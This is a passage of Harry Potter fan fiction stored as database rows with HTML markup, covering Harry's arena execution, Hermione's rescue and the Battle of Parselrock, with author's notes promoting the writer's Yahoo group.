commanded\nthe power of the One Deity within them. When I survived my first encounter with\nthe rings, I started to wonder if it was some sort of power within me that\nhelped me survive but I figured that my curse had weakened the effect of the\nrings. I only became fully certain after the second time the rings were used on\nme.&quot; Voldemort stopped pacing and gestured toward Cassandra. &quot;After\nmy dear servant, Cassandra Frost found the Crystal and released me from it, I\nset about to gather what powers I could gain as the incarnation of\nTempest.&quot;<br>\n<br>\n&quot;And Malfoy?&quot; said Harry.<br>\n<br>\n&quot;Young Draco is the son of one of my most loyal subjects. He will have a\nhigh place in my new order, much like his father had.&quot;<br>\n<br>\n&quot;You killed Lucius when he failed you,&quot; Harry reminded the Dark Lord.<br>\n<br>\n&quot;True,&quot; said Voldemort. &quot;But Draco has shown far more potential\nthen that fool. He will not disappoint me.&quot; Voldemort glared warningly at\nDraco when he said the last sentence. Draco said nothing, remaining unemotional\nas ever.<br>\n<br>\n&quot;So, what are you going to do with me?&quot; Harry said.<br>\n<br>\n&quot;There will be a public execution tomorrow at noon. Basically, I\'m going\nto release you into my arena, bound up, and in the company of a manticore, an\nacromantula, and a chimaera.&quot;<br>\n<br>\n&quot;What? No basilisks?&quot;<br>\n<br>\n&quot;I considered using one. But since you\'re also a parselmouth, I figured\nyou might\'ve been able to talk it out of eating you and might\'ve even persuaded\nit to turn on me.&quot;<br>\n<br>\n&quot;Damn!&quot;<br>\n<br>\n&quot;So, what do you think, Potter?&quot;<br>\n<br>\n&quot;I\'m surprised you didn\'t want to kill me yourself.&quot;<br>\n<br>\nVoldemort laughed again. &quot;Oh but I will Harry. No matter how powerful\nthese beasts are, I still have faith in you that you will overpower them. Then,\nI will simply step down into that arena and finish you off, after you are worn\nout from fighting the beasts. What do you think about that, Potter?&quot;<br>\n<br>\nHarry said nothing.<br>\n<br>\n&quot;I must be leaving you now,&quot; said the Drak Lord. &quot;I have an\nexecution to prepare.&quot; With that, Voldemort strolled out of the dungeon.<br>\n<br>\n&quot;Come with me, Draco,&quot; said Cassandra. &quot;I know of many ways we\ncan entertain each other until the time of Potter\'s execution arrives.&quot;<br>\n<br>\n&quot;That should be fun,&quot; said Draco with a grin. &quot;I just hope we\nhave the stamina to last that long.&quot;<br>\n<br>\nWith that, Draco and Cassandra also left the dungeon, leaving Harry alone.\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N R/R please. I have an announcement. This story is going to be the last\nstory I ever post on FF.net. From now on, if you want more fics from me, you\'re\ngoing to have to join my Yahoo Group. It\'s called Fanfiction by E. C. R. Potter\nand its url is http://groups.yahoo.com/group/ecrpotter_fanfiction/. Oh, and if\npeople ask me in their review, I might write an NC-17 cookie of Harry and\nHermione\'s wedding night. Next: Harry\'s execution! Whatever is going to happen?</p>\n\n\n\n\n\n\n'),
	(224, 13, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros.\nInc., Scholastic, Bloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p>&nbsp;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 12: Public Execution<br>\n<br>\nAll too soon, the time for the public execution of Harry Potter came. Harry was\nbound up in chains and led out of the dungeons by two Dementor Warriors.<br>\n<br>\n\'So ends the King of Gryffindor,\' Harry thought wryly. \'Well, one thing\'s for\nsure, I\'m not going to go out without a fight!\' During his time in the\ndungeons, Harry had secretly been building up his magical powers, so he would\nstill be able to last for some time against Voldemort\'s creatures before being\nfinished off.<br>\n<br>\nAlso, Harry had silently been hoping that Hermione would be able to find him.\nHarry trusted Hermione with his life and he knew that she wouldn\'t give up on\nhim no matter what. Furthermore, the connection between Harry\'s Ring of the\nLion and the various rings Hermione had indicated that she at least knew the\narea where Harry was confined. However, Harry knew that was a vain hope.<br>\n<br>\nFor Harry knew where he was, at the top of the great Volcano, Parselrock the\nUnclimbable, located in the heart of the Kingdom of Slytherin. It was here\nwhere Tom Marvolo Riddle had first found the Crystal of Tempest and become Lord\nVoldemort. And it was also here whee the Children of Tempest had created their\nheadquarters, where it was impossible to be found. Even if the Mage Knights\nknew where Harry was, it would be impossible for them to climb the mountain and\nstorm the headquarters of the cultists. Still, Harry continued to hope.<br>\n<br>\nWith a jolt, Harry suddenly realized that he had been led to a wide metal\ngrate. With a creak, the grate opened and Harry was led into the sunlight of a\nvast empty space. \'Correct that,\' thought Harry as he was led out. \'This isn\'t\na vast empty space after all.\'<br>\n<br>\nIt was a coliseum, built in full Roman style. Harry was standing on a wide,\ngravel covered, circular space that had a diameter of about 80 meters. The\nauditorium that surrounded the space was about vast and wide, seating hundreds,\nperhaps even thousands of cultists. Every single one of them were jeering for\nHarry\'s blood but Harry couldn\'t make out any distinct words since they were\nall lost in the cacophony of cries. And seated in a balcony, exalted above all\nthe seats were Voldemort, Draco Malfoy, Cassandra Frost, and few other high\nranking cultists.<br>\n<br>\nAs soon as Harry was alone in the bottom of the arena, Voldemort stood up and\nbeckoned for silence. The cries of the cultists died down in a second.<br>\n<br>\n&quot;Welcome, Harry Potter!&quot; said Voldemort in an amplified voice that\nboomed throughout the coliseum. &quot;I hope you\'ve enjoyed your stay\nhere.&quot;<br>\n<br>\n&quot;I\'ve had better!&quot; shouted Harry. A roar of noise filled the coliseum\nas the cultists started laughing at Harry. Voldemort signaled for silence and\nthe arena quieted down immediately once again.<br>\n<br>\n&quot;It is rather unfortunate that I\'m going to have to terminate you,\nPotter,&quot; said Voldemort.<br>\n<br>\n&quot;Yeah, very unfortunate,&quot; muttered Harry sarcastically.<br>\n<br>\n&quot;But, I do wish you a fond farewell. It was nice knowing you,&quot; said\nVoldemort with a smirk.<br>\n<br>\n&quot;Oh really?&quot; said Harry. &quot;Come down here, coward! Come down here\nand finish me off your self instead of letting your pets do your\nhandiwork!&quot;<br>\n<br>\n&quot;You shall bot speak to my master that way!&quot; shouted Cassandra. She\nsprang up in wrath, kicking her chair out of the way. &quot;Release the\nbeasts!&quot; she commanded. Voldemort however raised his hand and had the\norder stopped.<br>\n<br>\n&quot;Patience. Patience, my dear Cassandra.&quot; He then turned his attention\nback to Harry and said, &quot;I just may spare your life, Potter, if you grovel\non your knees and beg for your life.&quot; The coliseum burst out in laughter\nonce again, only to be silenced by Voldemort.<br>\n<br>\n&quot;I\'d rather kiss Malfoy,&quot; hissed Harry.<br>\n<br>\n&quot;I resent that!&quot; said Draco.<br>\n<br>\nVoldemort simply shrugged and said, &quot;So be it, Harry.&quot; He turned to\nthe nearest Dementor Warrior and said, &quot;You may release the beasts\nnow.&quot;<br>\n<br>\nWith a clang, three more grates opened, and three horrific beats burst out,\nsnarling and snapping in such menacing ways. The first one, was a great red\nbeast with a body of a powerfully built lion but with a man\'s face. It had\nthree rows of razor sharp teeth in its mouth. But the most frightening aspect\nof the creature was the large scorpion\'s tale and its deadly stinger, a\nManticore. The second creature had the head of a lion, the body of a goat, and\nthe tail of a serpent. Puffs of smoke and flame were issuing from the\nchimaera\'s mouth. The last creature was the largest one of the three. It was a\nmonster size venomous spider that made a clicking noise with its pincers, an\nacromantula.<br>\n<br>\nHarry swallowed as the creatures closed in on him. His arms were bound tight by\nthe chains wrapped around his body but his legs were free, meaning he could\nmove freely. The ability to move around, combined with some quick thinking was\nadequate enough to keep Harry alive for the time being.<br>\n<br>\nThe manticore was the first to reach Harry. It swung its lethal tail down at\nthe Mage Knight, but Harry managed to leap out of the way just in time. The\nmanticore growled and swung its tail toward Harry again. Harry skillfully\ndodged each blow.<br>\n<br>\nIn the mean time, the chimaera leapt toward Harry, brandishing its teeth. Harry\nrolled out of the way and put a distance between himself and the chimaera. With\na roar of anger, the chimaera spewed out a burst of flame. Harry polled out of\nthe way of the flame only to barely dodge the manticore\'s tail.<br>\n<br>\n\'This isn\'t working,\' thought Harry. \'I\'d better change my tactics.\' Slowly,\nHarry started moving sideways, drawing the manticore and the chimaera closer to\nhim.<br>\n<br>\n&quot;What\'s he doing?&quot; Draco wondered out loud. Voldemort simply\ncontinued looking at the scene with mild interest.<br>\n<br>\nWhat Harry was doing soon became apparent. When the chimaera burst out another\nround of flame, Harry rolled out of the way and the flames hit the chimaera in\nthe face. With a roar of anger and pain, the mantiocre leaped at the chimaera\nnd stabbed the stinger of its tail into the chimaera\'s back. Hollering in pain,\nthe chimaera slashed at the manticore with its teeth and burst even more fire into\nthe manticore\'s face. Soon, the manticore and the chimaeara were locked in\nmortal combat.<br>\n<br>\nHarry didn\'t have a time to take a breath of relief however since the\nacromantula was on him now. Harry leaped back, barely avoiding the spider\'s\nmenacing pincers. The acromantula made a gurgling sound and snapped at Harry\nonce again. Harry simple took a leap back and avoided the pincers. He started\nto edge away from the giant spider.<br>\n<br>\nRoaring in frustration, the giant spider shot some webbing at Harry. Harry\nducked as the webbing sailed over his head. He then tried to make a run for the\nother side of the acromantula. However, another shot of webbing got him square\nin the legs and Harry toppled over , his legs trapped in webbing.<br>\n<br>\n&quot;Dammit!&quot; Harry cursed out loud. The giant spider was now closing in\non him. However, a sudden scream indicated that the chimaera and the manticore\nhad killed each other. Harry looked toward their bodies and saw that the\nchimaera had ripped the manticore\'s stinger off its tail.<br>\n<br>\nUtilizing all of the magic he could channel with out a magical core, Harry\nyelled, &quot;Accio stinger!&quot; The stinger came sailing right next to him.\nHarry then utilized a quick banishing charm and impaled the acromantula in the\nchest.<br>\n<br>\nAs the giant spider roared in pain, Harry said, &quot;Incendio!&quot; and\nburned the webbing off his legs. He sprang up to his feet, ready to dodge\nanything more the spider could do to him only to realize that the manticore\'s\npoison had already killed the acromantula.<br>\n<br>\nSatisfied with his handiwork, Harry turned toward the high balcony. &quot;Is\nthat all you got!&quot; he shouted.<br>\n<br>\nVoldemort simply shrugged coolly, but Cassandra jumped to her feet and yelled,\n&quot;Curse you, Potter! You will pay for that! Dementor Warriors, kill\nhim!&quot;<br>\n<br>\nWith that, about fifty Dementor Warriors glided into the arena, brandishing\ntheir swords. However, with the entire coliseum focused on Harry and the\nDementor Warriors, nobody had noticed that someone had snuck into the high\nbalcony and was now standing unnoticed behind the fuming Cassandra. No one that\nis, except Harry, and he couldn\'t help but grin.<br>\n<br>\nCassandra was dismayed to see Harry grinning. &quot;What is so funny?!&quot;\nshe demanded.<br>\n<br>\n&quot;Why don\'t you ask the person holding the sword at your neck?&quot; said\nHarry.<br>\n<br>\n&quot;What?&quot; shouted Cassandra. However, before she could say anything, a\nsword was indeed placed at her neck. The people in the balcony all turned\naround to see whom it was that threatened them. It was Hermione.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N Did you people notice something? Here\'s a little hint, &quot;Attack of the\nClones&quot;. Yousee, the entire climax of this story is taken directly from\nthe climax of Star Wars Episode II. I know its not exactly original but I just\ncouldn\'t resist using that plot line. So please, R/R and tell me what you\nthink. And don\'t forget to join my Yahoo group. Next: The final battle starts!\nMage Knights against the cultists and their dementor warriors!</p>\n\n\n\n\n\n\n'),
	(224, 14, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros.\nInc., Scholastic, Bloomsbury, Raincoast, and any other affiliated party. </p>\n\n<p>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 13: The Battle of Parselrock<br>\n<br>\n&quot;It ends here,&quot; said Hermione, her sword digging into the horrified\nCassandra\'s throat. Holstered on her waist was Harry\'s ruby encrusted sword\nthat had originally belonged to Godric Gryffindor.<br>\n<br>\n&quot;You?!&quot; shouted Cassandra. &quot;How did you get up here? There\'s no\nway you could\'ve gotten up this mountain.&quot;<br>\n<br>\n&quot;Yes indeed, how did you get up here?&quot; asked Voldemort. He only\nseemed mildly surprised and appeared to be very cool about the whole ordeal.<br>\n<br>\nWordlessly, Hermione pulled out the parchment that had been delivered to her\nduring the council of war. On it was written the directions to the pinnacle of\nParselrock that was only known to the Children of Tempest, in full detail.<br>\n<br>\n&quot;Curios,&quot; said Voldemort. &quot;Only one of my followers could have\nwritten such directions in so much detail. Now, who could\'ve done such a\nthing?&quot; He stared pointedly at Draco as he said this.<br>\n<br>\nDraco stood up and made his way over to Hermione. &quot;Well, I suppose you\nshould\'ve known,&quot; he said to Voldemort and Cassandra who looked shocked.\n&quot;My father taught me all the secret trades and techniques of being a\ndouble agent: never thought I\'d actually have to use them some day.&quot;<br>\n<br>\nCassandra was absolutely furious. &quot;You,&quot; she spat out with full\nloathing. &quot;You dare betray me! After all I did for you! After I offered\nmyself to you!&quot;<br>\n<br>\nDraco smirked and said, &quot;Well, if I was going to play the spy game, I\nfigured I could take any advantages I had and made sure I had the most fun\npossible playing this little game.&quot;<br>\n<br>\nHermione rolled her eyes in clear disapproval. &quot;Do you always think in\nyour pants?&quot; she asked, obviously exasperated.<br>\n<br>\n&quot;Oh look who\'s speaking, Miss \'I got pregnant with my youngest daughter\nonly weeks after the twins were born\',&quot; said Draco. Hermione at least had\nthe decency to blush.<br>\n<br>\n&quot;Either way,&quot; said Voldemort, &quot;you\'re not going to get away with\nthis. I will have you both killed, and then we will see who\'s laughing.&quot;<br>\n<br>\n&quot;Give it your best shot,&quot; said Hermione. She raised her free hand\ninto the air.<br>\n<br>\nWith a flash, swords were drawn in various parts of the stands, and hundreds of\nMage Knights were revealed to be in the coliseum, all ready for battle.<br>\n<br>\n&quot;Impressive,&quot; said Voldemort. &quot;But it\'s going to take a lot more\nto defeat me. Crucio!&quot;<br>\n<br>\nDodging the curse, Hermione and Draco leapt into the arena. Other Mage Knights\nalso fled into the arena. Hermione ran over to Harry and with one swipe of her\nsword, slashed his bonds off. She quickly drew out Harry\'s sword and tossed it\nto him.<br>\n<br>\n&quot;I knew you\'d come,&quot; said Harry with a quick smile. He pulled\nHermione into a brief, yet sweet kiss.<br>\n<br>\nHermione smiled and said, &quot;I would go through fire for you.&quot; Harry\ngrinned at her, causing her insides to melt.<br>\n<br>\n&quot;KILL THEM!&quot; Cassandra screamed at the top of her lungs. Multitude\nupon multitude of Dementor Warriors swooped down into the arena that was packed\nwith Mage Knights.<br>\n<br>\nWith a great cry, the Mage Knights charged at their opponents, wielding their\nswords over their heads. With a clash of blades, the foremost Dementor Warriors\nsoon fell prey to the battling Mage Knights, and the one\'s right behind soon\nfollowed. Dementor Warriors may have been able to suck the fighting morale of\ntheir enemies, but the sheer ferocity of the Mage Knights was overwhelming\nthem.<br>\n<br>\nA number of Dementor Warriors were closing in on Draco, deeming him a traitor.\nDraco managed to keep them at bay using all of the sword techniques he knew but\nhe was slowly being overwhelmed. Finally, one of the Dementor Warriors managed\nto butt its hilt into the back of Draco\'s head. Draco crumbled to the ground in\npain. &quot;Dammit!&quot; he cursed as he waited for the end to come.<br>\n<br>\nBefore the Dementor Warriors could finish Draco though, Ron Weasley, leapt\ntoward them with a cry. He spun around in the air, and kicked two of the\nDementor Warriors away. He managed to fight off the remaining with expert sword\ntechniques that the Dementor Warriors simply couldn\'t emulate. After he had\ndispatched his opponents, Ron turned to Draco.<br>\n<br>\n&quot;Weasley,&quot; said Draco as he pulled himself to his feet.<br>\n<br>\n&quot;I don\'t trust you Draoc,&quot; said Ron, his words dipping with disgust.\n&quot;But you came through for us this time so I saved your arse.\nBesides,&quot; he suddenly grinned, &quot;now you owe me your life.&quot;<br>\n<br>\nDraco felt like he had just been sucker-punched. He had a life debt to Ron\nWeasley!<br>\n<br>\n&quot;Give him a break, Ron,&quot; said Ginny not too far away from them. She\nstrung an arrow into her bow and shot a Dementor Warrior that was closing in on\nher. She shot another one when she felt a presence behind her. Drawing her\nsword, Ginny spun around only to come face to face with Harry.&quot;<br>\n<br>\n&quot;Ginny,&quot; he said.<br>\n<br>\nGinny said nothing. For a second, a tense silence passed between them. Finally,\nGinny broke the silence and said, &quot;Um, Harry. About what I said...&quot;<br>\n<br>\n&quot;Ginny,&quot; said Harry as he beat off another Dementor Warrior.\n&quot;Nothing you ever say is going to destroy the friendship between us. I\nadmit that you took me by surprise but I really appreciate the fact that you\nfinally came clean with me. And besides, now is not the right time!&quot; Harry\nplaced a swift kick into one of the Dementor Warriors and slashed into another\none. Ginny couldn\'t help but smile at Harry, the tension between them\ncompletely dissolving away. She barely registered the fact that she had\nsuccessfully stabbed another Dementor Warrior.<br>\n<br>\nAlthough the Mage Knights had initially held the upper hand, the armies of\nDementor Warriors simply kept on coming continuously, and the Mage Knights were\nstarting to get overwhelmed. &quot;We need reinforcements,&quot; said Harry as\nhe blocked the blow of one of the Dementor Warriors.<br>\n<br>\nHermione slashed another Dementor Warrior and said, &quot;They should be coming\nvery soon. Don\'t worry.&quot; It was a minute later when they came.<br>\n<br>\nGriffin Riders. The Mage Knight Griffin Riders of the Kingdom of Griffindor\nswooped down into the arena from the air, hundreds upon hundreds. The\nGryffindor Mage Knights started to blast the Dementor Warriors away from atop\ntheir airborne beasts. &quot;Well now, this is a good sight,&quot; called out\nthe familiar voice of Lord Sirius Black as he landed his griffin right next to\nHarry and Hermione.<br>\n<br>\n&quot;Sirius.&quot; Harry quickly gave his godfather a brief hug.<br>\n<br>\n&quot;It\'s great to see that you\'re al right, Harry,&quot; said Sirius. Lord\nRemus Lupin also landed his griffin right next to them.<br>\n<br>\n&quot;Harry! Thank the One Deity you\'re all right,&quot; he said.<br>\n<br>\n&quot;I\'ve never been better now that the people I love are here,&quot; Harry\nsaid. He took Hermione\'s hand and laced they laced their fingers together.<br>\n<br>\n&quot;Well, we\'re not the only ones,&quot; said Remus. &quot;Dumbledore should\nbe showing any minute with the Alliance armies. He\'s even got veteran Mage\nKnight Alastor \'Mad-Eye\' Moody out of retirement to lead it this time.&quot;<br>\n<br>\n&quot;Excellent,&quot; said Harry. However, his smile instantly vanished when\nhe saw something flying with the griffins. &quot;Uh, Sirius, Remus, why is\nthere a dragon with the griffins?&quot;<br>\n<br>\n&quot;Dragon?&quot; Sirius, Remus, and Hermione looked up into the air. There\nwas indeed, a small dragon flying with the Griffin Riders, firing bursts of\nflame at the Dementor Warriors. A second later, the dragon landed right next to\nHarry and Hermione, and to their shock, it was carrying two small children.<br>\n<br>\n&quot;Ta-da!&quot; proclaimed James, as he struck a heroic pose on the dragon\'s\nback. In front of him, Lin simply rolled her eyes as she pulled the reins on\nthe dragon to bring it to a halt. The next moment, the twins leapt out a\ngleeful cry of &quot;Dad!&quot; and leapt onto Harry hugging him close.<br>\n<br>\nHarry didn\'t know whether to be ecstatic or furious, so he opted for the former\nand hugged the twins close. Hermione chose to be furious.<br>\n<br>\n&quot;James! Lily! What are you two doing here?! This is war zone!&quot; she\nsaid, putting on a very stern look.<br>\n<br>\n&quot;We just wanted to see Daddy,&quot; said Lin rather sheepishly. &quot;It\nwas James\'s idea, but he needed me because I\'m the only one who can make Nomie\nlisten.&quot;<br>\n<br>\n&quot;Look,&quot; said Harry. &quot;I\'m really happy to see you two again, but\nyour mother is right. This is a war zone, its too dangerous for you two.&quot;\nHe picked them up and placed them on Nomie\'s back. &quot;Stay in the air and\nstay out of the way. At the first sign of trouble, fly back to Hogwarts as fast\nas you can.&quot;<br>\n<br>\nJames and Lin nodded and Nomie flew away. Soon, he was but a speck amongst the\ngriffins. &quot;Those children,&quot; Hermione spluttered. &quot;I can\'t\nbelieve they\'d actually do a stunt like that.&quot;<br>\n<br>\n&quot;What would you have expected from James?&quot; said Harry. &quot;So long\nas they stay in the air, they\'ll be safe. I just hope they have the sense to\nstay there.&quot; Hermione nodded and wistfully stared into the air.<br>\n<br>\nThe battle was still raging around them. Cultists had now joined the fight\nalongside the Dementor Warriors and were firing curses at the Griffin Riders.\nHarry and Hermione returned to the front of the battle as quick as they could\ngo and started hacking at their enemies once more.<br>\n<br>\n&quot;This isn\'t going to work,&quot; hissed Harry. He glanced up at the\nbalcony where Voldemort was seated, coolly looking over the battle. &quot;The\nreal enemy here is Voldemort, and that bloody Crystal of Tempest of his.\nFighting his servants isn\'t going to end the war.&quot;<br>\n<br>\n&quot;Well, the answer to that is quite simply,&quot; said Draco from nearby.\n&quot;Get the last two rings you need to destroy him. They\'re in that passway\nover there,&quot; he said, pointing to an opening in the stands.<br>\n<br>\nHarry and Hermione stared at Draco. &quot;Why didn\'t you tell us sooner,&quot;\nHermione hissed.<br>\n<br>\n&quot;Draco shrugged and said, &quot;You didn\'t ask.&quot; He turned back to\nthe Dementor Warrior he was facing and slashed at its arm.<br>\n<br>\nHermione quickly glanced back at Harry and their eyes met. &quot;Go!&quot;\nshouted Harry. Without a second thought, Hermione took off, running as fast as\nher legs could carry her to the place where the last two rings needed to defeat\nVoldemort were hidden.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N Did you like it? Did you really like it? Well review and tell me so. Also,\nyou can read the first chapter of &quot;Different Paths&quot; on my Yahoo Group\nand on Schnoogle. The url to the story in Schnoogle is\nhttp://www.schnoogle.com/authorLinks/E_C_R_Potter/Different_Paths/. Read,\nreview and tell me what you think. Next: Hermione and Cassandra are going to\nduel for possession of the rings.</p>\n\n\n\n\n\n\n'),
	(224, 15, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 14: Duels<br>\n<br>\nRunning as fast as her legs could carry her, Hermione soon made it to the\nopening that Draco had pointed out. It was about as tall end wide enough for a\nsingle person to enter, but it opened into a chamber about the size of the\nthrone room in Godric\'s Hollow Palace. It was dark inside, the only source of\nlight aside from the entrance, was a small light illuminating a podium in the\ncenter of the chamber.<br>\n<br>\n\'I wonder,&quot; Hermione thought. She slowly walked over to the podium until\nshe was close enough to see what was on it in detail. Sure enough, there were\ntwo rings on the podium, an emerald one with a picture of dragon on it and a\nsilver one with a picture of serpent.<br>\n<br>\n&quot;There they are,&quot; Hermione whispered to herself. She broke out into a\nrun, trying to get to the rings as fast as she could. However, her sharp ears\njust barely caught the words, &quot;Crucio!&quot; being called out. Hermione\nbarely leapt out of the way as the curse struck her earlier position, leaving a\ncrater.<br>\n<br>\nCassandra Frost emerged from the shadows, looking menacing. &quot;Not so fast,\nyour majesty,&quot; she hissed. &quot;I will not let everything I worked for\ncrumble to dust over this.&quot;<br>\n<br>\n&quot;Oh, give me a break,&quot; Hermione muttered. She drew her sword out and\nheld it in a battle ready position.<br>\n<br>\n&quot;If you wish to have a break than I will provide you with one.\nImperio!&quot; Cassandra shot the Imperius at Hermione. Hermione however placed\na protective charm on her blade, and deflected the curse with her sword.<br>\n<br>\n&quot;Impressive,&quot; said Cassandra. She fired another curse of lightning at\nHermione as Hermione shouted &quot;Stupefy!&quot; The two spells met in midair,\nclashed at each other with force, and ultimately dissolved away.<br>\n<br>\n&quot;Hmm,&quot; said Cassasndra. She started circling around Hermione.\nHermione also started moving in a circular motion around Cassandra, her sword\never ready. With a swish of her arm, a thin rapier like sword appeared from no\nwhere in Cassandra\'s right hand. She held her sword downwards in a 180 degree\nangle from her arm while Hermione held her sword in a ninety degree angle\nupwards. The two women continued to circle each other for another tense second.<br>\n<br>\nWithout warning, Cassandra pranced forward and struck at Hermione. Hermione\nhowever was ready, and with a few twirls of her sword, blocked and deflected\neach one of Cassandra\'s blows. Catching Cassandra briefly off guard, Hermione\nspun around and swung her sword at Hermione. Cassandra blocked Hermione\'s blow\nand the two blades started rubbing against each other, neither one relenting.<br>\n<br>\n&quot;I\'m impressed, your majesty,&quot; said Cassandra. &quot;The last I heard,\nyou were abysmal at sword play.&quot;<br>\n<br>\n&quot;Well, I\'m afraid your information is a few years out of date,&quot;\nreplied Hermione. She abruptly sprang back and swung her sword downward.\nCassandra stepped back and avoided the blow. Hermione started parrying toward Cassandra,\ntwirling her sword as Cassandra blocked and deflected every one of her blows.\nCassandra swung her sword upwards and managed to hit Hermione\'s sword away, but\nHermione hurriedly regained her balance and blocked another one of Cassandra\'s\nblows.<br>\n<br>\n&quot;You\'re quite good yourself,&quot; said Hermione, her neutral tone masking\nthe fear and anxiety that was starting to build up. Hermione may have picked up\na few sword skills during the years she was a Mage Knight, but she was no\nnatural like Harry.<br>\n<br>\nCassandra smirked and said, &quot;Oh, I could defeat a mudblood any time I\nwished.&quot;<br>\n<br>\nAnger silently coursed through Hermione\'s veins. &quot;Don\'t you dare call me\nthat!&quot; she hissed. She shoved Cassandra away with a burst of strength she\nnever realized she had. Cassandra quickly regained her footing and the two\nwomen were once more parrying around, their swords hitting each other in a\nwhirlwind of movement.<br>\n<br>\n* * *<br>\n<br>\nOutside, the battle was still raging on. &quot;Where are the Alliance\'s\nreinforcements?&quot; Draco hissed.<br>\n<br>\n&quot;They\'ll be here,&quot; Ron yelled. However, he was clearly starting to\nget a little anxious. There were uncountable multitudes of Dementor Warriors,\nand combined with the Children of Tempest, they were virtually unstoppable. The\nGriffin Riders, provided the ground Mage Knights with much needed support, but\nthey were starting to get affected by the Dementor Warriors\' depressing powers.\nUnless the Alliance armies showed up some time soon, they would be in deep\ntrouble. &quot;Dog gone it, Dumbledore, Moody, when are you getting here?&quot;\nhe mumbled.<br>\n<br>\n&quot;Oh no,&quot; said Ginny right next to him. Ron looked up to realize that\nhe, Ginny, and Draco were now completely surrounded by Dementor Warriors and\ncut off from the other Mage Knights.<br>\n<br>\n&quot;No,&quot; he muttered. Slowly, the soul sucking powers of the Dementor\nWarriors started taking effect. Ron slumped to the ground as every horrible\nthing he had ever experienced started rushing into his head. &quot;No,&quot; he\nwhispered again, tears pricking at his eyes.<br>\n<br>\n&quot;No! Not again! Cho! Please no! Harry!&quot; Right next to Ron, Ginny was\nbarely conscious, the tears falling freely from her eyes. Draco was clearly the\nleast affected by the Dementor Warriors as he fought back, but the panic filled\nlook in his eyes betrayed the fact that he was also being overwhelmed.<br>\n<br>\nFrom nearby, Harry looked up to see Ron, Ginny, and Draco being surrounded by\nthe Dementor Warriors. &quot;Ron? Ginny? No!&quot; Harry didn\'t have the time\nto conjure up a patronus and besides, he had no idea if one would work on a\nDementor Warrior as well as it could work on a regular Dementor.<br>\n<br>\nDesperately, Harry looked up into the air at the Griffin Riders. Sirius and\nRemus were too preoccupied fighting off curses fired by the cultists as were\nmost of the other Griffin Riders. However, another flying creature caught his\neye. &quot;James! Lin!&quot; he shouted.<br>\n<br>\nHarry\'s two children looked toward Harry off of their dragon, Nomie\'s back.<br>\n<br>\n&quot;Can you make Nomie breathe flame?&quot; he yelled.<br>\n<br>\n&quot;Of course, we can,&quot; said Lin. &quot;Just stroke the Nomie\'s chin\nwith an upward motion and he\'ll burst out fire. I\'ve read all about dragons you\nknow.&quot;<br>\n<br>\n&quot;Just tell us what you want to do, Dad!&quot; shouted James.<br>\n<br>\nHarry gestured toward the Ron, Ginny, and Draco. Getting the idea, James\nstroked Nomie\'s chin, causing the dragon to breathe a burst of flame toward the\nDementor Warriors surrounding the three Mage Knights. At the same time, Harry\nshouted, &quot;Reducto!&quot; The combined fire and Reductor curse caused an\nexplosion that blasted the Dementor Warriors away. Harry made it over to the\nthree to find that they were barely conscious, but very much alive.<br>\n<br>\n&quot;Thanks,&quot; Ron whispered right before he passed out. Ginny and Draco\nsoon followed.<br>\n<br>\nSatisfied that his friends were OK, Harry stood up and turned around, only to\ncome face to face with Voldemort. Silently, Harry drew his sword forward and\nplaced it in a battle ready position. Voldemort already had his sword out and\ncontinued to glare at Harry, as their surroundings seemingly vanished. As far\nas they were concerned, at that moment all who existed were the Dark Lord and The\nGryffindor King.<br>\n<br>\nVoldemort was the first to strike, flailing his sword out. Harry blocked the\nfirst blow and deflected another one. He parried forward and made three\ndownward swings at the Dark Lord, each one deflected. Voldemort caught the\nfourth one on his blade and the two swords started rubbing against each other.<br>\n<br>\n&quot;So it comes to this doesn\'t it, Potter?&quot; said Voldemort. &quot;At\nthe end it always comes down to you and me.&quot; He pushed Harry back and\nstruck at him with a few twirls of his sword. Harry deflected all the blows\nwith a twirl of his own.<br>\n<br>\n&quot;This time, it\'s going to be the last time, Voldemort,&quot; said Harry.\nHe spun around and tried to land a blow on the Dark Lord only to have it\nblocked. He tried a few more times, all of them deflected. &quot;This is going\nto be the last duel between us!&quot; said Harry.<br>\n<br>\n&quot;What makes you so sure,&quot; said Voldemort with a smirk. &quot;Use\nthose rings against me again and I will simply return, more powerful then\nbefore. The power of Tempest resides in me, I cannot be defeated.&quot; He struck\nat Harry a few more times and eventually pinned him to the wall.<br>\n<br>\n&quot;The One Deity is more powerful than Tempest can ever be,&quot; hissed\nHarry. &quot;Hermione is going to find the last of the rings, and with them,\nwe\'ll destroy the Crystal of Tempest once and for all!&quot; He landed a swift\nkick on the Dark Lord\'s groin. Voldemort reeled back as Harry sprung away from\nthe wall, swinging his sword around. Voldemort blocked every one of Harry\'s\nattacks.<br>\n<br>\n&quot;Don\'t be so sure,&quot; replied the Dark Lord. &quot;Your mudblood wife isn\'t\ngoing to get the rings so easily!&quot; He struck back at Harry with more\nfierceness. Harry barely managed to block every one of Voldemort\'s blocks. He\nthen managed to ram the hilt of his sword into Voldemort\'s chin, causing him to\nrile back a little. The two parried around each other, the twirls of their\nswords getting faster and fiercer with every clang of metal.<br>\n<br>\n* * *<br>\n<br>\nHermione meanwhile was starting to be worn out by Cassandra. &quot;You\'re\ngrowing tired, aren\'t you mudblood?&quot; taunted Cassandra. She twirled her\nsword around in a few more blows which Hermione barely managed to 